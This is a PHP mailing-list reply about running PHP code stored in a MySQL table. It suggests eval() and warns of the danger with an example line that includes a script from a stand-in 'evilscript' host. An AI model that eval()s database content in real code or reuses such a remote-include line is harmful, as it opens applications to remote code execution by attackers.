Ron Piggott wrote:
I am wondering if I can put PHP into a mySQL table.
When I tried doing:
echo stripslashes(mysql_result($article_titles_result,0,"article"));

The PHP coding displays, not "rendered" PHP.

You'd need to 'eval' it (http://www.php.net/eval), though be very careful as any php code will be executed.

This means something like 'include http://www.example.com/evilscript.php' will be executed if an attacker is able to get it into your database through whatever means.

--
Postgresql & php tutorials
http://www.designmagick.com/


--
PHP Database Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Reply via email to